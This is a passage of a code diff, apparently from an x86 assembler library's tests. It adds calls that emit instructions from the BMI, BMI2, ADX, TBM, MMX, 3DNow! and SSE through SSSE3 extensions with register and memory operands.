gzB, gzC); + a.bextr(gdA, anyptr_gpB, gdC); + a.bextr(gzA, anyptr_gpB, gzC); + a.blsi(gdA, gdB); + a.blsi(gzA, gzB); + a.blsi(gdA, anyptr_gpB); + a.blsi(gzA, anyptr_gpB); + a.blsmsk(gdA, gdB); + a.blsmsk(gzA, gzB); + a.blsmsk(gdA, anyptr_gpB); + a.blsmsk(gzA, anyptr_gpB); + a.blsr(gdA, gdB); + a.blsr(gzA, gzB); + a.blsr(gdA, anyptr_gpB); + a.blsr(gzA, anyptr_gpB); + a.tzcnt(gdA, gdB); + a.tzcnt(gzA, gzB); + a.tzcnt(gdA, anyptr_gpB); + a.tzcnt(gzA, anyptr_gpB); + + // BMI2. + a.nop(); + + a.bzhi(gdA, gdB, gdC); + a.bzhi(gzA, gzB, gzC); + a.bzhi(gdA, anyptr_gpB, gdC); + a.bzhi(gzA, anyptr_gpB, gzC); + a.mulx(gdA, gdB, gdC); // Implicit gpA, gpB, gpC, + a.mulx(gdA, gdB, gdC, edx); // Explicit gpA, gpB, gpC, + a.mulx(gzA, gzB, gzC); // Implicit gpA, gpB, gpC, + a.mulx(gzA, gzB, gzC, a.zdx()); // Explicit gpA, gpB, gpC, + a.mulx(gdA, gdB, anyptr_gpC); // Implicit gpA, gpB, mem, + a.mulx(gdA, gdB, anyptr_gpC, edx); // Explicit gpA, gpB, mem, + a.mulx(gzA, gzB, anyptr_gpC); // Implicit gpA, gpB, mem, + a.mulx(gzA, gzB, anyptr_gpC, a.zdx()); // Explicit gpA, gpB, mem, + a.pdep(gdA, gdB, gdC); + a.pdep(gzA, gzB, gzC); + a.pdep(gdA, gdB, anyptr_gpC); + a.pdep(gzA, gzB, anyptr_gpC); + a.pext(gdA, gdB, gdC); + a.pext(gzA, gzB, gzC); + a.pext(gdA, gdB, anyptr_gpC); + a.pext(gzA, gzB, anyptr_gpC); + a.rorx(gdA, gdB, 0); + a.rorx(gzA, gzB, 0); + a.rorx(gdA, anyptr_gpB, 0); + a.rorx(gzA, anyptr_gpB, 0); + a.sarx(gdA, gdB, gdC); + a.sarx(gzA, gzB, gzC); + a.sarx(gdA, anyptr_gpB, gdC); + a.sarx(gzA, anyptr_gpB, gzC); + a.shlx(gdA, gdB, gdC); + a.shlx(gzA, gzB, gzC); + a.shlx(gdA, anyptr_gpB, gdC); + a.shlx(gzA, anyptr_gpB, gzC); + a.shrx(gdA, gdB, gdC); + a.shrx(gzA, gzB, gzC); + a.shrx(gdA, anyptr_gpB, gdC); + a.shrx(gzA, anyptr_gpB, gzC); + + // ADX. + a.nop(); + + a.adcx(gdA, gdB); + a.adcx(gzA, gzB); + a.adcx(gdA, anyptr_gpB); + a.adcx(gzA, anyptr_gpB); + a.adox(gdA, gdB); + a.adox(gzA, gzB); + a.adox(gdA, anyptr_gpB); + a.adox(gzA, anyptr_gpB); + + // TBM. + a.nop(); + + a.blcfill(gdA, gdB); + a.blcfill(gzA, gzB); + a.blcfill(gdA, anyptr_gpB); + a.blcfill(gzA, anyptr_gpB); + + a.blci(gdA, gdB); + a.blci(gzA, gzB); + a.blci(gdA, anyptr_gpB); + a.blci(gzA, anyptr_gpB); + + a.blcic(gdA, gdB); + a.blcic(gzA, gzB); + a.blcic(gdA, anyptr_gpB); + a.blcic(gzA, anyptr_gpB); + + a.blcmsk(gdA, gdB); + a.blcmsk(gzA, gzB); + a.blcmsk(gdA, anyptr_gpB); + a.blcmsk(gzA, anyptr_gpB); + + a.blcs(gdA, gdB); + a.blcs(gzA, gzB); + a.blcs(gdA, anyptr_gpB); + a.blcs(gzA, anyptr_gpB); + + a.blsfill(gdA, gdB); + a.blsfill(gzA, gzB); + a.blsfill(gdA, anyptr_gpB); + a.blsfill(gzA, anyptr_gpB); + + a.blsic(gdA, gdB); + a.blsic(gzA, gzB); + a.blsic(gdA, anyptr_gpB); + a.blsic(gzA, anyptr_gpB); + + a.t1mskc(gdA, gdB); + a.t1mskc(gzA, gzB); + a.t1mskc(gdA, anyptr_gpB); + a.t1mskc(gzA, anyptr_gpB); + + a.tzmsk(gdA, gdB); + a.tzmsk(gzA, gzB); + a.tzmsk(gdA, anyptr_gpB); + a.tzmsk(gzA, anyptr_gpB); + + // CLFLUSH / CLFLUSH_OPT. + a.nop(); + a.clflush(anyptr_gpA); + a.clflushopt(anyptr_gpA); + + // CLWB. + a.nop(); + a.clwb(anyptr_gpA); + + // CLZERO. + a.nop(); + a.clzero(); // Implicit + a.clzero(ptr(a.zax())); // Explicit + + // PCOMMIT. + a.nop(); + a.pcommit(); + + // PREFETCH / PREFETCHW / PREFETCHWT1. + a.nop(); + a.prefetch(anyptr_gpA); // 3DNOW. + a.prefetchnta(anyptr_gpA); // MMX+SSE. + a.prefetcht0(anyptr_gpA); // MMX+SSE. + a.prefetcht1(anyptr_gpA); // MMX+SSE. + a.prefetcht2(anyptr_gpA); // MMX+SSE. + a.prefetchw(anyptr_gpA); // PREFETCHW. + a.prefetchwt1(anyptr_gpA); // PREFETCHWT1. + + // RDRAND / RDSEED. + a.nop(); + + a.rdrand(gdA); + a.rdrand(gzA); + a.rdseed(gdA); + a.rdseed(gzA); + + // MMX/MMX-EXT. + a.nop(); + + a.movd(anyptr_gpA, mmB); + a.movd(gdA, mmB); + a.movd(mmA, anyptr_gpB); + a.movd(mmA, gdB); + a.movq(mmA, mmB); + a.movq(anyptr_gpA, mmB); + a.movq(mmA, anyptr_gpB); + a.packuswb(mmA, mmB); + a.packuswb(mmA, anyptr_gpB); + a.paddb(mmA, mmB); + a.paddb(mmA, anyptr_gpB); + a.paddw(mmA, mmB); + a.paddw(mmA, anyptr_gpB); + a.paddd(mmA, mmB); + a.paddd(mmA, anyptr_gpB); + a.paddsb(mmA, mmB); + a.paddsb(mmA, anyptr_gpB); + a.paddsw(mmA, mmB); + a.paddsw(mmA, anyptr_gpB); + a.paddusb(mmA, mmB); + a.paddusb(mmA, anyptr_gpB); + a.paddusw(mmA, mmB); + a.paddusw(mmA, anyptr_gpB); + a.pand(mmA, mmB); + a.pand(mmA, anyptr_gpB); + a.pandn(mmA, mmB); + a.pandn(mmA, anyptr_gpB); + a.pcmpeqb(mmA, mmB); + a.pcmpeqb(mmA, anyptr_gpB); + a.pcmpeqw(mmA, mmB); + a.pcmpeqw(mmA, anyptr_gpB); + a.pcmpeqd(mmA, mmB); + a.pcmpeqd(mmA, anyptr_gpB); + a.pcmpgtb(mmA, mmB); + a.pcmpgtb(mmA, anyptr_gpB); + a.pcmpgtw(mmA, mmB); + a.pcmpgtw(mmA, anyptr_gpB); + a.pcmpgtd(mmA, mmB); + a.pcmpgtd(mmA, anyptr_gpB); + a.pmulhw(mmA, mmB); + a.pmulhw(mmA, anyptr_gpB); + a.pmullw(mmA, mmB); + a.pmullw(mmA, anyptr_gpB); + a.por(mmA, mmB); + a.por(mmA, anyptr_gpB); + a.pmaddwd(mmA, mmB); + a.pmaddwd(mmA, anyptr_gpB); + a.pslld(mmA, mmB); + a.pslld(mmA, anyptr_gpB); + a.pslld(mmA, 0); + a.psllq(mmA, mmB); + a.psllq(mmA, anyptr_gpB); + a.psllq(mmA, 0); + a.psllw(mmA, mmB); + a.psllw(mmA, anyptr_gpB); + a.psllw(mmA, 0); + a.psrad(mmA, mmB); + a.psrad(mmA, anyptr_gpB); + a.psrad(mmA, 0); + a.psraw(mmA, mmB); + a.psraw(mmA, anyptr_gpB); + a.psraw(mmA, 0); + a.psrld(mmA, mmB); + a.psrld(mmA, anyptr_gpB); + a.psrld(mmA, 0); + a.psrlq(mmA, mmB); + a.psrlq(mmA, anyptr_gpB); + a.psrlq(mmA, 0); + a.psrlw(mmA, mmB); + a.psrlw(mmA, anyptr_gpB); + a.psrlw(mmA, 0); + a.psubb(mmA, mmB); + a.psubb(mmA, anyptr_gpB); + a.psubw(mmA, mmB); + a.psubw(mmA, anyptr_gpB); + a.psubd(mmA, mmB); + a.psubd(mmA, anyptr_gpB); + a.psubsb(mmA, mmB); + a.psubsb(mmA, anyptr_gpB); + a.psubsw(mmA, mmB); + a.psubsw(mmA, anyptr_gpB); + a.psubusb(mmA, mmB); + a.psubusb(mmA, anyptr_gpB); + a.psubusw(mmA, mmB); + a.psubusw(mmA, anyptr_gpB); + a.punpckhbw(mmA, mmB); + a.punpckhbw(mmA, anyptr_gpB); + a.punpckhwd(mmA, mmB); + a.punpckhwd(mmA, anyptr_gpB); + a.punpckhdq(mmA, mmB); + a.punpckhdq(mmA, anyptr_gpB); + a.punpcklbw(mmA, mmB); + a.punpcklbw(mmA, anyptr_gpB); + a.punpcklwd(mmA, mmB); + a.punpcklwd(mmA, anyptr_gpB); + a.punpckldq(mmA, mmB); + a.punpckldq(mmA, anyptr_gpB); + a.pxor(mmA, mmB); + a.pxor(mmA, anyptr_gpB); + a.emms(); + + // 3DNOW. + a.nop(); + + a.pavgusb(mmA, mmB); + a.pavgusb(mmA, anyptr_gpB); + a.pf2id(mmA, mmB); + a.pf2id(mmA, anyptr_gpB); + a.pf2iw(mmA, mmB); + a.pf2iw(mmA, anyptr_gpB); + a.pfacc(mmA, mmB); + a.pfacc(mmA, anyptr_gpB); + a.pfadd(mmA, mmB); + a.pfadd(mmA, anyptr_gpB); + a.pfcmpeq(mmA, mmB); + a.pfcmpeq(mmA, anyptr_gpB); + a.pfcmpge(mmA, mmB); + a.pfcmpge(mmA, anyptr_gpB); + a.pfcmpgt(mmA, mmB); + a.pfcmpgt(mmA, anyptr_gpB); + a.pfmax(mmA, mmB); + a.pfmax(mmA, anyptr_gpB); + a.pfmin(mmA, mmB); + a.pfmin(mmA, anyptr_gpB); + a.pfmul(mmA, mmB); + a.pfmul(mmA, anyptr_gpB); + a.pfnacc(mmA, mmB); + a.pfnacc(mmA, anyptr_gpB); + a.pfpnacc(mmA, mmB); + a.pfpnacc(mmA, anyptr_gpB); + a.pfrcp(mmA, mmB); + a.pfrcp(mmA, anyptr_gpB); + a.pfrcpit1(mmA, mmB); + a.pfrcpit1(mmA, anyptr_gpB); + a.pfrcpit2(mmA, mmB); + a.pfrcpit2(mmA, anyptr_gpB); + a.pfrcpv(mmA, mmB); + a.pfrcpv(mmA, anyptr_gpB); + a.pfrsqit1(mmA, mmB); + a.pfrsqit1(mmA, anyptr_gpB); + a.pfrsqrt(mmA, mmB); + a.pfrsqrt(mmA, anyptr_gpB); + a.pfrsqrtv(mmA, mmB); + a.pfrsqrtv(mmA, anyptr_gpB); + a.pfsub(mmA, mmB); + a.pfsub(mmA, anyptr_gpB); + a.pfsubr(mmA, mmB); + a.pfsubr(mmA, anyptr_gpB); + a.pi2fd(mmA, mmB); + a.pi2fd(mmA, anyptr_gpB); + a.pi2fw(mmA, mmB); + a.pi2fw(mmA, anyptr_gpB); + a.pmulhrw(mmA, mmB); + a.pmulhrw(mmA, anyptr_gpB); + a.pswapd(mmA, mmB); + a.pswapd(mmA, anyptr_gpB); + a.femms(); + + // SSE. + a.nop(); + + a.addps(xmmA, xmmB); + a.addps(xmmA, anyptr_gpB); + a.addss(xmmA, xmmB); + a.addss(xmmA, anyptr_gpB); + a.andnps(xmmA, xmmB); + a.andnps(xmmA, anyptr_gpB); + a.andps(xmmA, xmmB); + a.andps(xmmA, anyptr_gpB); + a.cmpps(xmmA, xmmB, 0); + a.cmpps(xmmA, anyptr_gpB, 0); + a.cmpss(xmmA, xmmB, 0); + a.cmpss(xmmA, anyptr_gpB, 0); + a.comiss(xmmA, xmmB); + a.comiss(xmmA, anyptr_gpB); + a.cvtpi2ps(xmmA, mmB); + a.cvtpi2ps(xmmA, anyptr_gpB); + a.cvtps2pi(mmA, xmmB); + a.cvtps2pi(mmA, anyptr_gpB); + a.cvtsi2ss(xmmA, gdB); + a.cvtsi2ss(xmmA, gzB); + a.cvtsi2ss(xmmA, anyptr_gpB); + a.cvtss2si(gdA, xmmB); + a.cvtss2si(gzA, xmmB); + a.cvtss2si(gdA, anyptr_gpB); + a.cvtss2si(gzA, anyptr_gpB); + a.cvttps2pi(mmA, xmmB); + a.cvttps2pi(mmA, anyptr_gpB); + a.cvttss2si(gdA, xmmB); + a.cvttss2si(gzA, xmmB); + a.cvttss2si(gdA, anyptr_gpB); + a.cvttss2si(gzA, anyptr_gpB); + a.divps(xmmA, xmmB); + a.divps(xmmA, anyptr_gpB); + a.divss(xmmA, xmmB); + a.divss(xmmA, anyptr_gpB); + a.ldmxcsr(anyptr_gpA); + a.maskmovq(mmA, mmB); // Implicit mmA, mmB, + a.maskmovq(mmA, mmB, ptr(a.zdi())); // Explicit mmA, mmB, + a.maxps(xmmA, xmmB); + a.maxps(xmmA, anyptr_gpB); + a.maxss(xmmA, xmmB); + a.maxss(xmmA, anyptr_gpB); + a.minps(xmmA, xmmB); + a.minps(xmmA, anyptr_gpB); + a.minss(xmmA, xmmB); + a.minss(xmmA, anyptr_gpB); + a.movaps(xmmA, xmmB); + a.movaps(xmmA, anyptr_gpB); + a.movaps(anyptr_gpA, xmmB); + a.movd(anyptr_gpA, xmmB); + a.movd(gdA, xmmB); + a.movd(gzA, xmmB); + a.movd(xmmA, anyptr_gpB); + a.movd(xmmA, gdB); + a.movd(xmmA, gzB); + a.movq(mmA, mmB); + a.movq(xmmA, xmmB); + a.movq(anyptr_gpA, xmmB); + a.movq(xmmA, anyptr_gpB); + a.movntq(anyptr_gpA, mmB); + a.movhlps(xmmA, xmmB); + a.movhps(xmmA, anyptr_gpB); + a.movhps(anyptr_gpA, xmmB); + a.movlhps(xmmA, xmmB); + a.movlps(xmmA, anyptr_gpB); + a.movlps(anyptr_gpA, xmmB); + a.movntps(anyptr_gpA, xmmB); + a.movss(xmmA, anyptr_gpB); + a.movss(anyptr_gpA, xmmB); + a.movups(xmmA, xmmB); + a.movups(xmmA, anyptr_gpB); + a.movups(anyptr_gpA, xmmB); + a.mulps(xmmA, xmmB); + a.mulps(xmmA, anyptr_gpB); + a.mulss(xmmA, xmmB); + a.mulss(xmmA, anyptr_gpB); + a.orps(xmmA, xmmB); + a.orps(xmmA, anyptr_gpB); + a.pavgb(mmA, mmB); + a.pavgb(mmA, anyptr_gpB); + a.pavgw(mmA, mmB); + a.pavgw(mmA, anyptr_gpB); + a.pextrw(gdA, mmB, 0); + a.pextrw(gzA, mmB, 0); + a.pinsrw(mmA, gdB, 0); + a.pinsrw(mmA, gzB, 0); + a.pinsrw(mmA, anyptr_gpB, 0); + a.pmaxsw(mmA, mmB); + a.pmaxsw(mmA, anyptr_gpB); + a.pmaxub(mmA, mmB); + a.pmaxub(mmA, anyptr_gpB); + a.pminsw(mmA, mmB); + a.pminsw(mmA, anyptr_gpB); + a.pminub(mmA, mmB); + a.pminub(mmA, anyptr_gpB); + a.pmovmskb(gdA, mmB); + a.pmovmskb(gzA, mmB); + a.pmulhuw(mmA, mmB); + a.pmulhuw(mmA, anyptr_gpB); + a.psadbw(mmA, mmB); + a.psadbw(mmA, anyptr_gpB); + a.pshufw(mmA, mmB, 0); + a.pshufw(mmA, anyptr_gpB, 0); + a.rcpps(xmmA, xmmB); + a.rcpps(xmmA, anyptr_gpB); + a.rcpss(xmmA, xmmB); + a.rcpss(xmmA, anyptr_gpB); + a.psadbw(xmmA, xmmB); + a.psadbw(xmmA, anyptr_gpB); + a.rsqrtps(xmmA, xmmB); + a.rsqrtps(xmmA, anyptr_gpB); + a.rsqrtss(xmmA, xmmB); + a.rsqrtss(xmmA, anyptr_gpB); + a.sfence(); + a.shufps(xmmA, xmmB, 0); + a.shufps(xmmA, anyptr_gpB, 0); + a.sqrtps(xmmA, xmmB); + a.sqrtps(xmmA, anyptr_gpB); + a.sqrtss(xmmA, xmmB); + a.sqrtss(xmmA, anyptr_gpB); + a.stmxcsr(anyptr_gpA); + a.subps(xmmA, xmmB); + a.subps(xmmA, anyptr_gpB); + a.subss(xmmA, xmmB); + a.subss(xmmA, anyptr_gpB); + a.ucomiss(xmmA, xmmB); + a.ucomiss(xmmA, anyptr_gpB); + a.unpckhps(xmmA, xmmB); + a.unpckhps(xmmA, anyptr_gpB); + a.unpcklps(xmmA, xmmB); + a.unpcklps(xmmA, anyptr_gpB); + a.xorps(xmmA, xmmB); + a.xorps(xmmA, anyptr_gpB); + + // SSE2. + a.nop(); + + a.addpd(xmmA, xmmB); + a.addpd(xmmA, anyptr_gpB); + a.addsd(xmmA, xmmB); + a.addsd(xmmA, anyptr_gpB); + a.andnpd(xmmA, xmmB); + a.andnpd(xmmA, anyptr_gpB); + a.andpd(xmmA, xmmB); + a.andpd(xmmA, anyptr_gpB); + a.cmppd(xmmA, xmmB, 0); + a.cmppd(xmmA, anyptr_gpB, 0); + a.cmpsd(xmmA, xmmB, 0); + a.cmpsd(xmmA, anyptr_gpB, 0); + a.comisd(xmmA, xmmB); + a.comisd(xmmA, anyptr_gpB); + a.cvtdq2pd(xmmA, xmmB); + a.cvtdq2pd(xmmA, anyptr_gpB); + a.cvtdq2ps(xmmA, xmmB); + a.cvtdq2ps(xmmA, anyptr_gpB); + a.cvtpd2dq(xmmA, xmmB); + a.cvtpd2dq(xmmA, anyptr_gpB); + a.cvtpd2pi(mmA, xmmB); + a.cvtpd2pi(mmA, anyptr_gpB); + a.cvtpd2ps(xmmA, xmmB); + a.cvtpd2ps(xmmA, anyptr_gpB); + a.cvtpi2pd(xmmA, mmB); + a.cvtpi2pd(xmmA, anyptr_gpB); + a.cvtps2dq(xmmA, xmmB); + a.cvtps2dq(xmmA, anyptr_gpB); + a.cvtps2pd(xmmA, xmmB); + a.cvtps2pd(xmmA, anyptr_gpB); + a.cvtsd2si(gdA, xmmB); + a.cvtsd2si(gzA, xmmB); + a.cvtsd2si(gdA, anyptr_gpB); + a.cvtsd2si(gzA, anyptr_gpB); + a.cvtsd2ss(xmmA, xmmB); + a.cvtsd2ss(xmmA, anyptr_gpB); + a.cvtsi2sd(xmmA, gdB); + a.cvtsi2sd(xmmA, gzB); + a.cvtsi2sd(xmmA, anyptr_gpB); + a.cvtss2sd(xmmA, xmmB); + a.cvtss2sd(xmmA, anyptr_gpB); + a.cvtss2si(gdA, xmmB); + a.cvtss2si(gzA, xmmB); + a.cvtss2si(gdA, anyptr_gpB); + a.cvtss2si(gzA, anyptr_gpB); + a.cvttpd2pi(mmA, xmmB); + a.cvttpd2pi(mmA, anyptr_gpB); + a.cvttpd2dq(xmmA, xmmB); + a.cvttpd2dq(xmmA, anyptr_gpB); + a.cvttps2dq(xmmA, xmmB); + a.cvttps2dq(xmmA, anyptr_gpB); + a.cvttsd2si(gdA, xmmB); + a.cvttsd2si(gzA, xmmB); + a.cvttsd2si(gdA, anyptr_gpB); + a.cvttsd2si(gzA, anyptr_gpB); + a.divpd(xmmA, xmmB); + a.divpd(xmmA, anyptr_gpB); + a.divsd(xmmA, xmmB); + a.divsd(xmmA, anyptr_gpB); + a.lfence(); + a.maskmovdqu(xmmA, xmmB); // Implicit xmmA, xmmB, + a.maskmovdqu(xmmA, xmmB, ptr(a.zdi())); // Explicit xmmA, xmmB, + a.maxpd(xmmA, xmmB); + a.maxpd(xmmA, anyptr_gpB); + a.maxsd(xmmA, xmmB); + a.maxsd(xmmA, anyptr_gpB); + a.mfence(); + a.minpd(xmmA, xmmB); + a.minpd(xmmA, anyptr_gpB); + a.minsd(xmmA, xmmB); + a.minsd(xmmA, anyptr_gpB); + a.movdqa(xmmA, xmmB); + a.movdqa(xmmA, anyptr_gpB); + a.movdqa(anyptr_gpA, xmmB); + a.movdqu(xmmA, xmmB); + a.movdqu(xmmA, anyptr_gpB); + a.movdqu(anyptr_gpA, xmmB); + a.movmskps(gdA, xmmB); + a.movmskps(gzA, xmmB); + a.movmskpd(gdA, xmmB); + a.movmskpd(gzA, xmmB); + a.movsd(xmmA, xmmB); + a.movsd(xmmA, anyptr_gpB); + a.movsd(anyptr_gpA, xmmB); + a.movapd(xmmA, anyptr_gpB); + a.movapd(anyptr_gpA, xmmB); + a.movdq2q(mmA, xmmB); + a.movq2dq(xmmA, mmB); + a.movhpd(xmmA, anyptr_gpB); + a.movhpd(anyptr_gpA, xmmB); + a.movlpd(xmmA, anyptr_gpB); + a.movlpd(anyptr_gpA, xmmB); + a.movntdq(anyptr_gpA, xmmB); + a.movnti(anyptr_gpA, gdB); + a.movnti(anyptr_gpA, gzB); + a.movntpd(anyptr_gpA, xmmB); + a.movupd(xmmA, anyptr_gpB); + a.movupd(anyptr_gpA, xmmB); + a.mulpd(xmmA, xmmB); + a.mulpd(xmmA, anyptr_gpB); + a.mulsd(xmmA, xmmB); + a.mulsd(xmmA, anyptr_gpB); + a.orpd(xmmA, xmmB); + a.orpd(xmmA, anyptr_gpB); + a.packsswb(xmmA, xmmB); + a.packsswb(xmmA, anyptr_gpB); + a.packssdw(xmmA, xmmB); + a.packssdw(xmmA, anyptr_gpB); + a.packuswb(xmmA, xmmB); + a.packuswb(xmmA, anyptr_gpB); + a.paddb(xmmA, xmmB); + a.paddb(xmmA, anyptr_gpB); + a.paddw(xmmA, xmmB); + a.paddw(xmmA, anyptr_gpB); + a.paddd(xmmA, xmmB); + a.paddd(xmmA, anyptr_gpB); + a.paddq(mmA, mmB); + a.paddq(mmA, anyptr_gpB); + a.paddq(xmmA, xmmB); + a.paddq(xmmA, anyptr_gpB); + a.paddsb(xmmA, xmmB); + a.paddsb(xmmA, anyptr_gpB); + a.paddsw(xmmA, xmmB); + a.paddsw(xmmA, anyptr_gpB); + a.paddusb(xmmA, xmmB); + a.paddusb(xmmA, anyptr_gpB); + a.paddusw(xmmA, xmmB); + a.paddusw(xmmA, anyptr_gpB); + a.pand(xmmA, xmmB); + a.pand(xmmA, anyptr_gpB); + a.pandn(xmmA, xmmB); + a.pandn(xmmA, anyptr_gpB); + a.pause(); + a.pavgb(xmmA, xmmB); + a.pavgb(xmmA, anyptr_gpB); + a.pavgw(xmmA, xmmB); + a.pavgw(xmmA, anyptr_gpB); + a.pcmpeqb(xmmA, xmmB); + a.pcmpeqb(xmmA, anyptr_gpB); + a.pcmpeqw(xmmA, xmmB); + a.pcmpeqw(xmmA, anyptr_gpB); + a.pcmpeqd(xmmA, xmmB); + a.pcmpeqd(xmmA, anyptr_gpB); + a.pcmpgtb(xmmA, xmmB); + a.pcmpgtb(xmmA, anyptr_gpB); + a.pcmpgtw(xmmA, xmmB); + a.pcmpgtw(xmmA, anyptr_gpB); + a.pcmpgtd(xmmA, xmmB); + a.pcmpgtd(xmmA, anyptr_gpB); + a.pmaxsw(xmmA, xmmB); + a.pmaxsw(xmmA, anyptr_gpB); + a.pmaxub(xmmA, xmmB); + a.pmaxub(xmmA, anyptr_gpB); + a.pminsw(xmmA, xmmB); + a.pminsw(xmmA, anyptr_gpB); + a.pminub(xmmA, xmmB); + a.pminub(xmmA, anyptr_gpB); + a.pmovmskb(gdA, xmmB); + a.pmovmskb(gzA, xmmB); + a.pmulhw(xmmA, xmmB); + a.pmulhw(xmmA, anyptr_gpB); + a.pmulhuw(xmmA, xmmB); + a.pmulhuw(xmmA, anyptr_gpB); + a.pmullw(xmmA, xmmB); + a.pmullw(xmmA, anyptr_gpB); + a.pmuludq(mmA, mmB); + a.pmuludq(mmA, anyptr_gpB); + a.pmuludq(xmmA, xmmB); + a.pmuludq(xmmA, anyptr_gpB); + a.por(xmmA, xmmB); + a.por(xmmA, anyptr_gpB); + a.pslld(xmmA, xmmB); + a.pslld(xmmA, anyptr_gpB); + a.pslld(xmmA, 0); + a.psllq(xmmA, xmmB); + a.psllq(xmmA, anyptr_gpB); + a.psllq(xmmA, 0); + a.psllw(xmmA, xmmB); + a.psllw(xmmA, anyptr_gpB); + a.psllw(xmmA, 0); + a.pslldq(xmmA, 0); + a.psrad(xmmA, xmmB); + a.psrad(xmmA, anyptr_gpB); + a.psrad(xmmA, 0); + a.psraw(xmmA, xmmB); + a.psraw(xmmA, anyptr_gpB); + a.psraw(xmmA, 0); + a.psubb(xmmA, xmmB); + a.psubb(xmmA, anyptr_gpB); + a.psubw(xmmA, xmmB); + a.psubw(xmmA, anyptr_gpB); + a.psubd(xmmA, xmmB); + a.psubd(xmmA, anyptr_gpB); + a.psubq(mmA, mmB); + a.psubq(mmA, anyptr_gpB); + a.psubq(xmmA, xmmB); + a.psubq(xmmA, anyptr_gpB); + a.pmaddwd(xmmA, xmmB); + a.pmaddwd(xmmA, anyptr_gpB); + a.pshufd(xmmA, xmmB, 0); + a.pshufd(xmmA, anyptr_gpB, 0); + a.pshufhw(xmmA, xmmB, 0); + a.pshufhw(xmmA, anyptr_gpB, 0); + a.pshuflw(xmmA, xmmB, 0); + a.pshuflw(xmmA, anyptr_gpB, 0); + a.psrld(xmmA, xmmB); + a.psrld(xmmA, anyptr_gpB); + a.psrld(xmmA, 0); + a.psrlq(xmmA, xmmB); + a.psrlq(xmmA, anyptr_gpB); + a.psrlq(xmmA, 0); + a.psrldq(xmmA, 0); + a.psrlw(xmmA, xmmB); + a.psrlw(xmmA, anyptr_gpB); + a.psrlw(xmmA, 0); + a.psubsb(xmmA, xmmB); + a.psubsb(xmmA, anyptr_gpB); + a.psubsw(xmmA, xmmB); + a.psubsw(xmmA, anyptr_gpB); + a.psubusb(xmmA, xmmB); + a.psubusb(xmmA, anyptr_gpB); + a.psubusw(xmmA, xmmB); + a.psubusw(xmmA, anyptr_gpB); + a.punpckhbw(xmmA, xmmB); + a.punpckhbw(xmmA, anyptr_gpB); + a.punpckhwd(xmmA, xmmB); + a.punpckhwd(xmmA, anyptr_gpB); + a.punpckhdq(xmmA, xmmB); + a.punpckhdq(xmmA, anyptr_gpB); + a.punpckhqdq(xmmA, xmmB); + a.punpckhqdq(xmmA, anyptr_gpB); + a.punpcklbw(xmmA, xmmB); + a.punpcklbw(xmmA, anyptr_gpB); + a.punpcklwd(xmmA, xmmB); + a.punpcklwd(xmmA, anyptr_gpB); + a.punpckldq(xmmA, xmmB); + a.punpckldq(xmmA, anyptr_gpB); + a.punpcklqdq(xmmA, xmmB); + a.punpcklqdq(xmmA, anyptr_gpB); + a.pxor(xmmA, xmmB); + a.pxor(xmmA, anyptr_gpB); + a.sqrtpd(xmmA, xmmB); + a.sqrtpd(xmmA, anyptr_gpB); + a.sqrtsd(xmmA, xmmB); + a.sqrtsd(xmmA, anyptr_gpB); + a.subpd(xmmA, xmmB); + a.subpd(xmmA, anyptr_gpB); + a.subsd(xmmA, xmmB); + a.subsd(xmmA, anyptr_gpB); + a.ucomisd(xmmA, xmmB); + a.ucomisd(xmmA, anyptr_gpB); + a.unpckhpd(xmmA, xmmB); + a.unpckhpd(xmmA, anyptr_gpB); + a.unpcklpd(xmmA, xmmB); + a.unpcklpd(xmmA, anyptr_gpB); + a.xorpd(xmmA, xmmB); + a.xorpd(xmmA, anyptr_gpB); + + // SSE3. + a.nop(); + + a.addsubpd(xmmA, xmmB); + a.addsubpd(xmmA, anyptr_gpB); + a.addsubps(xmmA, xmmB); + a.addsubps(xmmA, anyptr_gpB); + a.fisttp(dword_ptr(gzA)); + a.haddpd(xmmA, xmmB); + a.haddpd(xmmA, anyptr_gpB); + a.haddps(xmmA, xmmB); + a.haddps(xmmA, anyptr_gpB); + a.hsubpd(xmmA, xmmB); + a.hsubpd(xmmA, anyptr_gpB); + a.hsubps(xmmA, xmmB); + a.hsubps(xmmA, anyptr_gpB); + a.lddqu(xmmA, anyptr_gpB); + a.monitor(); + a.movddup(xmmA, xmmB); + a.movddup(xmmA, anyptr_gpB); + a.movshdup(xmmA, xmmB); + a.movshdup(xmmA, anyptr_gpB); + a.movsldup(xmmA, xmmB); + a.movsldup(xmmA, anyptr_gpB); + a.mwait(); + + // SSSE3. + a.nop(); + + a.psignb(mmA, mmB); + a.psignb(mmA, anyptr_gpB); + a.psignb(xmmA, xmmB); + a.psignb(xmmA, anyptr_gpB); + a.psignw(mmA, mmB); + a.psignw(mmA, anyptr_gpB); + a.psignw(xmmA, xmmB); + a.psignw(xmmA, anyptr_gpB); + a.psignd(mmA, mmB); + a.psignd(mmA, anyptr_gpB); + a.psignd(xmmA, xmmB); + a.psignd(xmmA, anyptr_gpB); + a.phaddw(mmA, mmB); + a.phaddw(mmA, anyptr_gpB); + a.phaddw(xmmA, xmmB); + a.phaddw(xmmA, anyptr_gpB); + a.phaddd(mmA, mmB); + a.phaddd(mmA, anyptr_gpB); + a.phaddd(xmmA, xmmB); + a.phaddd(xmmA, anyptr_gpB); + a.phaddsw(mmA, mmB); + a.phaddsw(mmA, anyptr_gpB); + a.phaddsw(xmmA, xmmB); + a.phaddsw(xmmA, anyptr_gpB); + a.phsubw(mmA, mmB); + a.phsubw(mmA, anyptr_gpB); + a.phsubw(xmmA, xmmB); + a.phsubw(xmmA, anyptr_gpB); + a.phsubd(mmA, mmB); + a.phsubd(mmA, anyptr_gpB); + a.phsubd(xmmA, xmmB); + a.phsubd(xmmA, anyptr_gpB); + a.phsubsw(mmA, mmB); + a.phsubsw(mmA, anyptr_gpB); + a.phsubsw(xmmA, xmmB); + a.phsubsw(xmmA, anyptr_gpB); + a.pmaddubsw(mmA, mmB); + a.pmaddubsw(mmA, anyptr_gpB); + a.pmaddubsw(xmmA, xmmB); + a.pmaddubsw(xmmA, anyptr_gpB); + a.pabsb(mmA, mmB); + a.pabsb(mmA, anyptr_gpB); + a.pabsb(xmmA, xmmB); + a.pabsb(xmmA, anyptr_gpB); + a.pabsw(mmA, mmB); + a.pabsw(mmA, anyptr_gpB); + a.pabsw(xmmA, xmmB); + a.pabsw(xmmA, anyptr_gpB); + a.pabsd(mmA, mmB); + a.pabsd(mmA, anyptr_gpB); + a.pabsd(xmmA, xmmB); + a.pabsd(xmmA, anyptr_gpB); + a.pmulhrsw(mmA, mmB); + a.pmulhrsw(mmA, anyptr_gpB); + a.pmulhrsw(xmmA, xmmB); + a.pmulhrsw(xmmA, 